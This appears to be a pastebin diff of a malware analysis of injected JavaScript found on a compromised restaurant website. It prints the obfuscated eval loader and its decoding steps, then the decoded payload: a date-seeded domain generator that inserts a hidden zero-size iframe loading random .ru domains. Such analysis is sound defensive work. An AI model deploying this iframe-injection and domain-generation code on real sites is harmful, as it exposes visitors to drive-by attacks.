SHOW:
|
|
- or go back to the newest paste.
| 1 | /****************************** | |
| 2 | * Quttera Web Malware monitor detected malicious JavaScript code | |
| 3 | * that use multiple levels of obfuscation. Decoded payload generates | |
| 4 | * hidden iframes to random websites located under *.ru | |
| 5 | * | |
| 6 | * Full report could be found here: http://quttera.com/detailed_report/www.ristoranteada.eu | |
| 7 | * | |
| 8 | * The initial threat code | |
| 9 | ******************************/ | |
| 10 | var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
| |
| 11 | document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
| |
| 12 | window.eval(String.fromCharCode(105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 45, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 61, 91, 49, 48, 50, 44, ... 116, 114, 121, 123, 113, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 34, 41, 59, 105, 102, 40, 101, 41, 113, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113, 43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104, 40, 102, 119, 98, 101, 119, 101, 41, 123, 119, 61, 102, 59, 115, 61, 91, 93, 59, 125, 13, 10, 114, 61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 34, 34, 41, 59, 102, 111, 114, 40, 59, 49, 51, 51, 51, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61, 49, 41, 123, 106, 61, 105, 59, 105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 40, 119, 91, 106, 93, 47, 40, 50, 45, 49, 43, 106, 37, 50, 41, 41, 41, 59, 125, 13, 10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59)); | |
| 13 | ||
| 14 | /******************************************************* | |
| 15 | * First level of decryption | |
| 16 | - | ******************************************************* |
| 16 | + | *******************************************************/ |
| 17 | i = 0; | |
| 18 | try {
| |
| 19 | prototype - 5; | |
| 20 | } catch (z) {
| |
| 21 | f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, ... 210, 108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96, 48, 82, 59]; | |
| 22 | v = "e" + "v" + "a"; | |
| 23 | } | |
| 24 | if (v) e = window[v + "l"]; | |
| 25 | try {
| |
| 26 | q = document.createElement("b");
| |
| 27 | if (e) q.appendChild(q + ""); | |
| 28 | } catch (fwbewe) {
| |
| 29 | w = f; | |
| 30 | s = []; | |
| 31 | } | |
| 32 | ||
| 33 | r = String; | |
| 34 | z = ((e) ? "Code" : ""); | |
| 35 | for (; 1333 - 5 + 5 > i; i += 1) {
| |
| 36 | j = i; | |
| 37 | if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2))); | |
| 38 | } | |
| 39 | if (f) e(s); | |
| 40 | ||
| 41 | /******************************************************************* | |
| 42 | * simplified version of this threat | |
| 43 | *******************************************************************/ | |
| 44 | s = ""; | |
| 45 | i = 0; | |
| 46 | f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 2....]; | |
| 47 | for (; 1333 - 5 + 5 > i; i += 1) { s = s + String.fromCharCode((f[i] / (2 - 1 + i % 2)));}
| |
| 48 | eval(s); | |
| 49 | ||
| 50 | ||
| 51 | /********************************************************************* | |
| 52 | * Decoded payload generates hidden iframes to random domains in *.ru | |
| 53 | * http://<random-domain-name>.ru/runforestrun?sid=cx | |
| 54 | ******************************************************************/ | |
| 55 | function nextRandomNumber() {
| |
| 56 | var hi = this.seed / this.Q; | |
| 57 | var lo = this.seed % this.Q; | |
| 58 | var test = this.A * lo - this.R * hi; | |
| 59 | if (test > 0) {
| |
| 60 | this.seed = test | |
| 61 | } else {
| |
| 62 | this.seed = test + this.M | |
| 63 | } | |
| 64 | return (this.seed * this.oneOverM) | |
| 65 | } | |
| 66 | function RandomNumberGenerator(unix) {
| |
| 67 | var d = new Date(unix * 1000); | |
| 68 | var s = d.getHours() > 12 ? 1 : 0; | |
| 69 | this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF)); | |
| 70 | this.A = 48271; | |
| 71 | this.M = 2147483647; | |
| 72 | this.Q = this.M / this.A; | |
| 73 | this.R = this.M % this.A; | |
| 74 | this.oneOverM = 1.0 / this.M; | |
| 75 | this.next = nextRandomNumber; | |
| 76 | return this | |
| 77 | } | |
| 78 | function createRandomNumber(r, Min, Max) {
| |
| 79 | return Math.round((Max - Min) * r.next() + Min) | |
| 80 | } | |
| 81 | function generatePseudoRandomString(unix, length, zone) {
| |
| 82 | var rand = new RandomNumberGenerator(unix); | |
| 83 | var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; | |
| 84 | var str = ''; | |
| 85 | for (var i = 0; i < length; i++) {
| |
| 86 | str += letters[createRandomNumber(rand, 0, letters.length - 1)] | |
| 87 | } | |
| 88 | return str + '.' + zone | |
| 89 | } | |
| 90 | setTimeout(function () {
| |
| 91 | try {
| |
| 92 | if (typeof iframeWasCreated2 == "undefined") {
| |
| 93 | iframeWasCreated2 = true; | |
| 94 | var unix = Math.round(+new Date() / 1000); | |
| 95 | var domainName = generatePseudoRandomString(unix, 16, 'ru'); | |
| 96 | ifrm = document.createElement("IFRAME");
| |
| 97 | ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
| |
| 98 | ifrm.style.width = "0px"; | |
| 99 | ifrm.style.height = "0px"; | |
| 100 | ifrm.style.visibility = "hidden"; | |
| 101 | document.body.appendChild(ifrm) | |
| 102 | } | |
| 103 | } catch (e) {}
| |
| 104 | }, 500); |